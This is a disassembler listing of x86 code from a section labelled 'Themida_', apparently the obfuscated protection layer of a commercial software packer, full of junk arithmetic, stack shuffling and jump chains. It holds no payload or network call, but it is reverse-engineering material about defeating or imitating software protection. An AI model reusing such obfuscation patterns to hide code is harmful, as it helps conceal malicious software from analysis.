; START OF FUNCTION CHUNK FOR sub_590467
loc_595E62: ; CODE XREF: sub_590467-F64j
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_595E67: ; CODE XREF: Themida_:0058B03Aj
; Themida_:0058D991j
mov dx, 2
jmp loc_591B16
; ---------------------------------------------------------------------------
loc_595E70: ; CODE XREF: Themida_:00594F28j
mov ebx, [esp]
add esp, 4
jmp loc_59381C
; ---------------------------------------------------------------------------
loc_595E7B: ; CODE XREF: Themida_:00590A2Aj
push ebx
mov ebx, 16EF0B5Dh
push edi
mov edi, 40D315AFh
jmp loc_58E5E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_595E8C: ; CODE XREF: sub_5916C4+1B19j
sub edx, 280C0B9Fh
add edx, 7EF8540Bh
add edx, eax
sub edx, 7EF8540Bh
add edx, 280C0B9Fh
push eax
mov eax, 3FAE0CC1h
push edi
mov edi, 1607460Dh
sub eax, edi
pop edi
and eax, 396A59CBh
xor eax, 37B64054h
push esi
mov esi, 3D137D97h
shl esi, 1
sub esi, 21357AA6h
add esi, 0CE406D0h
jmp loc_58B7E3
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_595ED8: ; CODE XREF: sub_590B70-3E60j
push 7C73h
jmp loc_58A475
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_592D91
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F836
loc_595EED: ; CODE XREF: sub_58F836+5186j
pop edx
xor ebp, 4201Ch
push ebp
xor [esp+10h+var_10], 62764025h
pop eax
xor eax, 62764025h
pop ebp
mov edx, eax
pop eax
add edx, 73B13AC7h
add edx, edi
sub edx, 73B13AC7h
push dword ptr [edx]
sub [esp+8+var_8], 6DD12502h
jmp loc_58A6B4
; END OF FUNCTION CHUNK FOR sub_58F836
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ebx
jmp loc_58C758
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_595F30: ; CODE XREF: sub_590467-48AAj
push dword ptr [esp+0]
pop ecx
add esp, 4
push [esp-6+arg_0+2]
push dword ptr [esp+0]
pop ebx
add esp, 4
add esp, 4
xor bl, al
jmp loc_591CDB
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5942E3
loc_595F54: ; CODE XREF: sub_5942E3-3F85j
push dword ptr [esp+0]
mov edi, [esp+4+var_4]
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+4+var_4]
pop esp
sub eax, 4
xchg eax, [esp+0]
mov esp, [esp+0]
mov [esp+0], ecx
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5942E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_595F7D: ; CODE XREF: sub_5916CB-16F5j
push [esp+4+var_4]
mov eax, [esp+8+var_8]
add esp, 4
push ebx
mov ebx, esp
push edi
jmp loc_58D852
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_595F92: ; CODE XREF: Themida_:00592A75j
dec esi
shr esi, 2
jmp loc_58AF86
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_595F9B: ; CODE XREF: sub_5916C4-2452j
mov esi, eax
mov eax, [esp+0]
add esp, 4
shr esi, 2
not esi
sub esi, 690662Ch
jp loc_58F21F
add esi, 952E0913h
xor eax, esi
push [esp-4+arg_0]
jmp loc_594DA2
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_595FC4: ; CODE XREF: Themida_:0058C348j
xor al, dl
pop edx
sub esp, 4
mov [esp], ebx
mov bl, 0F0h
add bl, 12h
ja loc_58D8B7
sub bl, 0D5h
push cx
mov cl, 6Ch
jmp loc_597C42
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_595FE7: ; CODE XREF: sub_590010+CD2j
push [esp-8+arg_4]
pop ebp
jmp sub_58E0C4
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_595FF0: ; CODE XREF: sub_595123-1C05j
mov edx, esp
add edx, 4
add edx, 4
push edx
jmp loc_5952D8
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_596001: ; CODE XREF: Themida_:0058EAADj
push ebp
mov ebp, 58622324h
jmp loc_58AC31
; ---------------------------------------------------------------------------
loc_59600C: ; CODE XREF: Themida_:0058B1C0j
add esi, edx
jmp loc_5963FE
; ---------------------------------------------------------------------------
loc_596013: ; CODE XREF: Themida_:0058B808j
mov ebp, esp
push edx
push ebx
mov ebx, 703F0E06h
sub ebx, 615C2495h
xor ebx, 1BEA516Eh
jmp loc_5924C5
; ---------------------------------------------------------------------------
loc_59602D: ; CODE XREF: Themida_:00596D37j
dec ebp
or ebp, 6D3B1018h
xor ebp, 7CA0C241h
sub esi, ebp
pop ebp
jmp loc_58B6D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_596042: ; CODE XREF: sub_58C17E-1A76j
add esp, 4
push edx
mov edx, 4
add ebp, edx
mov edx, [esp+4+var_4]
add esp, 4
add ebp, 2
xor ebp, [esp+0]
jmp loc_58F10B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_596064: ; CODE XREF: Themida_:00590E45j
dec edi
jmp loc_58C6DB
; ---------------------------------------------------------------------------
loc_59606A: ; CODE XREF: Themida_:00597B24j
neg bp
xor bp, 0BDD8h
xor dx, bp
pop ebp
and dx, 2021h
jmp loc_597EE3
; ---------------------------------------------------------------------------
loc_596080: ; CODE XREF: Themida_:0058FBE4j
dec ecx
jmp loc_596F6B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_596086: ; CODE XREF: sub_58B4D6+ACC5j
add ebp, ecx
jmp loc_58EBFE
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_59608D: ; CODE XREF: Themida_:0058D681j
add ebx, 4B52234h
pop ebp
add ebx, 6E834FB8h
pop esi
xchg ebx, [esp]
jmp loc_59517F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5960A3: ; CODE XREF: sub_59762D+2j
push 3B1D5A3Bh
pop ecx
or ecx, 44E112D3h
not ecx
sub ecx, 3A4169B4h
mov ebx, ecx
pop ecx
not ebx
neg ebx
jmp loc_595773
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_5960C3: ; CODE XREF: Themida_:005950E6j
pop edi
mov edx, [esp]
add esp, 4
sub [esp], eax
sub dword ptr [esp], 1F372BAEh
jmp loc_58DFD0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5960D9: ; CODE XREF: sub_5EC2E8-5E606j
pop esi
dec esi
push eax
push 2F3Fh
mov [esp+20h+var_20], esi
pop eax
jmp loc_596124
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_5960EA: ; CODE XREF: Themida_:00593E96j
mov edx, eax
mov eax, [esp]
add esp, 4
shr edx, 8
jmp loc_58BBCA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5960FD: ; CODE XREF: sub_5EC2E8-556EFj
add eax, edx
sub eax, 3EBB71EBh
jmp loc_592AD7
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_596109: ; CODE XREF: sub_5916C4-3958j
xor ebp, 34697598h
push ebx
mov ebx, 2F7B636Fh
shr ebx, 2
jmp loc_58E221
; ---------------------------------------------------------------------------
loc_59611D: ; CODE XREF: sub_5916C4-6CCBj
shl bl, 1
jmp loc_590545
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_596124: ; CODE XREF: sub_595E21-82A5j
; sub_5EC2E8-56203j
pop esi
shr eax, 2
xor eax, 236A4CFFh
sub eax, 2447CF30h
sub edx, eax
jmp loc_592B98
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_596139: ; CODE XREF: sub_5916CB+1918j
pop eax
mov esi, edi
mov edi, [esp+8+var_8]
add esp, 4
add edi, esi
pop esi
jmp loc_58DF20
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
xor [esp], si
xor si, [esp]
jmp loc_597C04
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_59615A: ; CODE XREF: sub_5919E2+2D0Cj
add ecx, 0F0C8D299h
mov [eax], ecx
mov ecx, [esp+8+var_8]
add esp, 4
mov eax, [esp+4+var_4]
jmp loc_58D6E8
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_596173: ; CODE XREF: sub_5916C4+31E3j
push edx
mov edx, esp
push eax
mov eax, 4
add edx, eax
pop eax
add edx, 4
xchg edx, [esp+2+var_4+2]
mov esp, [esp+2+var_4+2]
and eax, edx
jmp loc_590938
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_59618F: ; CODE XREF: sub_58B4D6+7j
inc ebp
sub esp, 4
mov [esp+8+var_8], ecx
mov ecx, 725A3CCEh
jmp loc_596086
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_5961A0: ; CODE XREF: sub_590467-4D07j
push edx
mov dh, 0C4h
xor dh, 11h
jbe loc_592085
not dh
not dh
shr dh, 6
and dh, 0CBh
jnp loc_58E487
sub dh, 0E1h
push ecx
mov cl, dh
mov bh, cl
pop ecx
pop edx
jmp loc_58E47C
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5961CB: ; CODE XREF: sub_59762D-1EB4j
sub ebx, 4AE42B21h
mov ebp, ebx
jmp loc_595590
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_5961D8: ; CODE XREF: Themida_:0058B7B9j
mov edx, edi
jmp loc_59323D
; ---------------------------------------------------------------------------
loc_5961DF: ; CODE XREF: Themida_:00591A31j
or bl, dl
mov edx, [esp]
jmp loc_58A992
; ---------------------------------------------------------------------------
loc_5961E9: ; CODE XREF: Themida_:005939ACj
push edx
mov edx, 36300AD2h
add edx, 2CF55341h
and edx, 3884696Fh
sub edx, 0A13545FEh
add ebx, edx
pop edx
push edx
push esp
pop edx
jmp loc_5923E5
; ---------------------------------------------------------------------------
loc_59620C: ; CODE XREF: Themida_:00595B16j
mov esi, [esp]
add esp, 4
xchg ebp, edx
not ebp
xchg ebp, edx
shl edx, 3
jns loc_59220D
shr edx, 2
jnp loc_593FE3
shl edx, 3
and edx, 263F73B9h
jg loc_58E7B6
push esi
jmp loc_58FD39
; ---------------------------------------------------------------------------
pop esp
mov dl, ah
push esi
loc_596243: ; CODE XREF: Themida_:0058EE36j
xchg esi, [esp]
pop esp
btr [esp], ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_596252: ; CODE XREF: Themida_:00592028j
add ebp, edi
add ebp, 4F66FD4h
add ebp, 60187465h
pop edi
jmp loc_58D216
; ---------------------------------------------------------------------------
loc_596266: ; CODE XREF: Themida_:00592A7Dj
push edx
jmp loc_595A51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59626C: ; CODE XREF: sub_58F5B5+5FCCj
sub eax, esi
push ebp
mov ebp, 0DFE56BFh
or ebp, 2E9F1515h
and ebp, 9F254C3h
jz loc_591B5B
add ebp, 586A181Ah
add ebp, 1BA2E540h
add eax, ebp
pop ebp
pop esi
jmp loc_593FF2
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_59629B: ; CODE XREF: Themida_:00597DC7j
add cx, 0CA32h
mov bp, cx
mov ecx, [esp]
add esp, 4
sub bx, bp
jmp loc_596A13
; ---------------------------------------------------------------------------
loc_5962B1: ; CODE XREF: Themida_:0058FD53j
; Themida_:00591476j
xor dh, 0D2h
sub ch, dh
pop edx
sub ch, 55h
add ch, ah
add ch, 55h
add ch, 65h
pop eax
add al, 8Dh
sub al, ch
sub al, 8Dh
pop ecx
sub al, bl
push small 3C24h
mov [esp], bx
push eax
jmp loc_591854
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BDA
loc_5962DA: ; CODE XREF: sub_595BDA-AF87j
add esi, 80820Ch
mov edi, esi
pop esi
jmp loc_58FD28
; END OF FUNCTION CHUNK FOR sub_595BDA
; ---------------------------------------------------------------------------
loc_5962E8: ; CODE XREF: Themida_:005936D1j
pop eax
mov [ecx], dl
pop ecx
mov edx, [esp]
add esp, 4
jmp loc_591E69
; ---------------------------------------------------------------------------
loc_5962F7: ; CODE XREF: Themida_:00590C04j
shr ebp, 6
push eax
mov eax, 609126A6h
jmp loc_58F6EE
; ---------------------------------------------------------------------------
loc_596305: ; CODE XREF: Themida_:0058E444j
shr eax, 4
dec eax
add eax, 0F7BEE788h
add esi, 75A87462h
sub esi, eax
sub esi, 75A87462h
pop eax
xor esi, [esp]
jmp loc_58BA58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_596325: ; CODE XREF: sub_58B4D6-EBj
pop ebx
add eax, 3C9C7770h
sub eax, ebx
sub eax, 3C9C7770h
push ebx
push edx
mov edx, 624569C2h
xor edx, 4E3404DBh
sub edx, 14B13395h
add edx, 36BE3AC9h
mov ebx, edx
pop edx
jmp loc_594CC1
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
push ebx
mov ebx, 7F645630h
xor [esp+4], ebx
mov ebx, [esp]
add esp, 4
mov eax, [esp]
push ebx
push esp
pop ebx
add ebx, 4
push edi
jmp loc_58E58A
; ---------------------------------------------------------------------------
loc_59637B: ; CODE XREF: Themida_:00591558j
pop esp
mov ax, [esp]
push ebp
jmp loc_59009C
; ---------------------------------------------------------------------------
loc_596386: ; CODE XREF: Themida_:00594351j
dec esi
push esi
not dword ptr [esp]
pop esi
not esi
push eax
mov eax, 58D00623h
inc eax
sub eax, 51BB4308h
add eax, 847ACEFDh
jmp loc_58CD07
; ---------------------------------------------------------------------------
loc_5963A4: ; CODE XREF: Themida_:00590CB2j
push eax
push bx
push edx
push ecx
jmp loc_59273D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5963AE: ; CODE XREF: sub_5EC2E8-62019j
add al, 4Bh
add al, 9Eh
sub al, bl
sub al, 9Eh
push ebx
push eax
push edx
mov dh, 3Dh
and dh, 8Ch
jno loc_597ED0
not dh
dec dh
sub dh, 23h
jmp loc_58CEC2
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
lodsd
push ebx
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5963D2: ; CODE XREF: sub_5916C4-30Dj
mov esi, 65F117F6h
or esi, 0A0B0623h
dec esi
push 0
sub [esp+2+var_4+2], esi
pop esi
dec esi
sub esi, 9004E805h
jmp loc_590660
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_5963F3: ; CODE XREF: Themida_:00590AFCj
add esp, 4
jmp loc_58D996
; ---------------------------------------------------------------------------
loc_5963FE: ; CODE XREF: Themida_:0059600Ej
pop edx
pop edi
add esi, 4E855C38h
sub esi, 6CBF4333h
jmp loc_58FB8E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_596411: ; CODE XREF: sub_58C17E+B4C5j
add esp, 4
shr eax, 0Ch
jmp loc_595D6F
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_59641C: ; CODE XREF: sub_5916C4-1069j
mov edx, [esp+0]
push edx
jmp loc_595DA2
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_596425: ; CODE XREF: sub_590467-2E74j
add bh, 6Bh
mov ecx, [esp-6+arg_0+2]
add esp, 4
push small 39DEh
mov word ptr [esp-8+arg_4], cx
mov ch, 0FCh
add bh, ch
pop cx
mov cl, bh
pop ebx
push eax
jmp loc_58F5D3
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_596445: ; CODE XREF: sub_58F5B5+7C55j
xor cl, 9Dh
sub esp, 4
mov [esp+10h+var_10], eax
mov ah, 0DEh
sub ah, 0FEh
jmp loc_59120D
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_59645B: ; CODE XREF: Themida_:0059194Fj
mov eax, 39264A9Bh
sub ebx, 51A2444Bh
add ebx, eax
add ebx, 51A2444Bh
pop eax
push small word ptr [eax]
jmp loc_593916
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_596477: ; CODE XREF: sub_5916C4-CA4j
pop esp
add [esp-4+arg_0], eax
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E3A6
loc_596481: ; CODE XREF: sub_58E3A6+35E0j
sub edx, 64636A58h
mov ecx, [esp-4+arg_0]
add esp, 4
add edx, 1C5F236Fh
push ebp
mov ebp, 56D1014Bh
xor ebp, 29A83750h
jmp loc_596CEF
; END OF FUNCTION CHUNK FOR sub_58E3A6
; ---------------------------------------------------------------------------
loc_5964A4: ; CODE XREF: Themida_:0058D0DBj
push edx
mov edx, 4490398Eh
sub edx, 213E255Dh
mov ecx, edx
pop edx
jmp loc_58E2F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_5964B8: ; CODE XREF: sub_59762D-3320j
add eax, 502B6903h
sub eax, edi
sub eax, 502B6903h
pop edi
jmp loc_58E6A9
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_5964CA: ; CODE XREF: Themida_:0058E566j
; Themida_:0059079Bj
xor ecx, 1B19686Fh
js loc_591375
jmp loc_595374
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_5964DB: ; CODE XREF: sub_5EC2E8-5AF97j
sub eax, 29835A61h
jmp loc_597648
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_5964E5: ; CODE XREF: sub_590467+6BBj
pop ecx
sub al, bl
mov ebx, [esp+0]
add esp, 4
sub esp, 4
jmp loc_591BA0
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_5964F6: ; CODE XREF: sub_590010+2EFDj
mov edi, 7FE78ADh
sub edi, 0BE503E93h
add ecx, edi
jmp loc_594CDA
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_596508: ; CODE XREF: Themida_:00597B70j
sub esi, 6EDE450Fh
sub esi, 1A8479B3h
sub esi, 79642ACAh
sub esi, 56A7FE1Fh
or eax, esi
jmp loc_59355A
; ---------------------------------------------------------------------------
loc_596527: ; CODE XREF: Themida_:00590D8Ej
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_59652C: ; CODE XREF: Themida_:00592CDDj
pop ebp
push esi
push dword ptr [esp+4]
pop esi
jmp loc_5930CE
; ---------------------------------------------------------------------------
loc_596538: ; CODE XREF: Themida_:005909A1j
mov eax, esp
jmp loc_58D5CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_59653F: ; CODE XREF: sub_595123-A13Ej
; Themida_:loc_59325Cj
mov eax, [esp+8+var_8]
add esp, 4
add esp, 4
jmp loc_597C55
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_596550: ; CODE XREF: Themida_:005906CFj
push esi
mov esi, 7AA97A48h
shr esi, 1
sub esi, 43214E51h
add esi, 5A0E1967h
add esi, 0C0368373h
and edx, esi
pop esi
or edx, 1460696Fh
inc edx
jmp loc_592C70
; ---------------------------------------------------------------------------
loc_596579: ; CODE XREF: Themida_:loc_58E608j
jmp loc_590600
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59657E: ; CODE XREF: sub_590467-5D55j
pop [esp-4+arg_0]
mov esp, [esp-8+arg_4]
add word ptr [esp-8+arg_4], ax
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_59658E: ; CODE XREF: sub_58B4D6+6F5Dj
push edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
add edx, ebp
jmp loc_58E21B
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_5965A4: ; CODE XREF: Themida_:0058BF19j
inc al
sub al, 65h
sub dh, 0DEh
add dh, al
add dh, 0DEh
pop eax
sub dh, 33h
sub dh, 24h
push 4652h
mov [esp], ecx
mov cl, 0C1h
add dh, cl
pop ecx
sub al, dh
pop edx
push ebx
jmp loc_5977AD
; =============== S U B R O U T I N E =======================================
sub_5965CD proc near ; CODE XREF: sub_58C17E-AD3j
; FUNCTION CHUNK AT 0058C0CD SIZE 0000000B BYTES
push ebp
mov ebp, ecx
mov ebx, ebp
pop ebp
jmp loc_58C0CD
sub_5965CD endp
; ---------------------------------------------------------------------------
loc_5965D8: ; CODE XREF: Themida_:0058ACEFj
mov ecx, 26836A92h
add [esp+8], ecx
pop ecx
jmp loc_58B383
; ---------------------------------------------------------------------------
loc_5965E7: ; CODE XREF: Themida_:005949A2j
not edi
push ebp
mov ebp, 1
add edi, ebp
pop ebp
xchg edi, esi
xor esi, 69CD4DDBh
neg esi
shr esi, 1
add esi, 0A5A6A105h
mov ebp, esi
pop esi
jmp loc_594214
; ---------------------------------------------------------------------------
loc_59660C: ; CODE XREF: Themida_:00590A52j
push 297Bh
jmp loc_58BE16
; ---------------------------------------------------------------------------
loc_596616: ; CODE XREF: Themida_:005978F1j
or ecx, 390B1356h
add ecx, 8200C8AEh
add ebp, ecx
jmp loc_58F5E1
; ---------------------------------------------------------------------------
loc_596629: ; CODE XREF: Themida_:00592E7Aj
mov si, [esp]
add esp, 2
push small 6A8Ch
mov [esp], si
push small word ptr [esp+2]
pop si
pop small word ptr [esp]
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EC96
loc_59664B: ; CODE XREF: sub_58EC96-2FA2j
sub bl, al
add bl, 0BEh
jmp loc_5946B3
; END OF FUNCTION CHUNK FOR sub_58EC96
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_596655: ; CODE XREF: sub_5916C4-1DFEj
xor ebx, eax
jmp loc_58CCA5
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_59665C: ; CODE XREF: sub_58F5B5-526Aj
push eax
push [esp+8+var_4]
pop eax
jmp loc_58FF8A
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_596667: ; CODE XREF: Themida_:00592D5Ej
push 1927h
jmp loc_594B1E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_596671: ; CODE XREF: sub_5916CB+3C08j
push 1994h
mov [esp+14h+var_14], ebx
jmp loc_596EC3
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_59667E: ; CODE XREF: Themida_:00591524j
mov eax, [esp]
push ebx
mov ebx, esp
push eax
mov eax, 30332356h
dec eax
push ecx
mov ecx, 40D835D1h
sub ecx, 599D3814h
neg ecx
push ebx
push ebp
mov ebp, 0BC50899h
mov ebx, ebp
pop ebp
jmp loc_592009
; ---------------------------------------------------------------------------
loc_5966A8: ; CODE XREF: Themida_:0058B8F7j
add edi, 20343098h
add edi, esi
jmp loc_58BF67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5966B5: ; CODE XREF: sub_58C17E-1996j
push esi
push 3E5A6B2Bh
pop esi
jmp loc_591516
; END OF FUNCTION CHUNK FOR sub_58C17E
; =============== S U B R O U T I N E =======================================
sub_5966C1 proc near ; CODE XREF: sub_5916C4:loc_593026j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058AFEA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C210 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058E524 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005956A6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005972A4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00597305 SIZE 0000001F BYTES
push ebp
mov ebp, 247D70B9h
xor edi, ebp
pop ebp
add edi, 9A49F687h
jmp loc_597305
sub_5966C1 endp
; ---------------------------------------------------------------------------
loc_5966D5: ; CODE XREF: Themida_:00596A67j
push edi
pop ecx
jmp loc_58A89B
; ---------------------------------------------------------------------------
loc_5966DC: ; CODE XREF: Themida_:0058B56Ej
sub ah, 0FFh
push edx
mov dl, 0E5h
push ebx
mov bh, 0F5h
jmp loc_5934D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5966EA: ; CODE XREF: sub_58C17E-1699j
pop ecx
pop ecx
sub esp, 4
mov [esp+8+var_8], ebx
mov ebx, 6C487D9Ah
xor ecx, ebx
mov ebx, [esp+8+var_8]
add esp, 4
mov [edi+20h], ecx
mov ecx, [esp+4+var_4]
add esp, 4
jmp loc_59259A
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_596713: ; CODE XREF: sub_5916CB-5C06j
mov ebp, eax
jmp loc_597D45
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_59671A: ; CODE XREF: sub_590467-2251j
sub edx, 6F356822h
sub edx, 174149EFh
push ebp
mov ebp, 7BE50EC1h
jmp loc_58DE71
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_596731: ; CODE XREF: sub_58C17E+2CC9j
pop esi
jmp loc_58D777
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_596737: ; CODE XREF: sub_58F5B5-42EBj
pop esp
jmp loc_596C87
; ---------------------------------------------------------------------------
loc_59673D: ; CODE XREF: sub_58F5B5-AACj
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push ebp
mov ebp, esp
jmp loc_59161F
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_59674C: ; CODE XREF: sub_58C17E+1605j
; sub_5916CB:loc_5900F4j
shl eax, 6
add eax, 35B55D95h
jmp loc_58DA2D
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_596759: ; CODE XREF: Themida_:00591C7Aj
mov edi, [esp]
add esp, 4
push 2362h
mov [esp], edi
push eax
mov eax, 6E17339h
or eax, 522401FCh
jnp loc_58F04D
inc eax
jz loc_59572E
shl eax, 1
mov ch, 16h
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_596786: ; CODE XREF: sub_59762D-CE95j
; sub_58C17E+18B8j
xor ebp, [esp+4+var_4]
xor [esp+4+var_4], ebp
xor ebp, [esp+4+var_4]
pop esp
rol dword ptr [esp+0], cl
pushf
jmp loc_5971BC
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_596799: ; CODE XREF: Themida_:0058F162j
push edi
mov edi, 685559B4h
jmp loc_58EE6D
; ---------------------------------------------------------------------------
loc_5967A4: ; CODE XREF: Themida_:0059511Ej
mov ch, bh
jmp loc_596E56
; ---------------------------------------------------------------------------
loc_5967AB: ; CODE XREF: Themida_:00597C80j
mov ebp, [esp]
add esp, 4
xor ecx, [esp]
jmp loc_58A7C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5967BC: ; CODE XREF: sub_58C17E-1910j
push ecx
jmp loc_59216A
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5967C2: ; CODE XREF: sub_5916C4+1554j
push ecx
jmp loc_595602
; END OF FUNCTION CHUNK FOR sub_5916C4
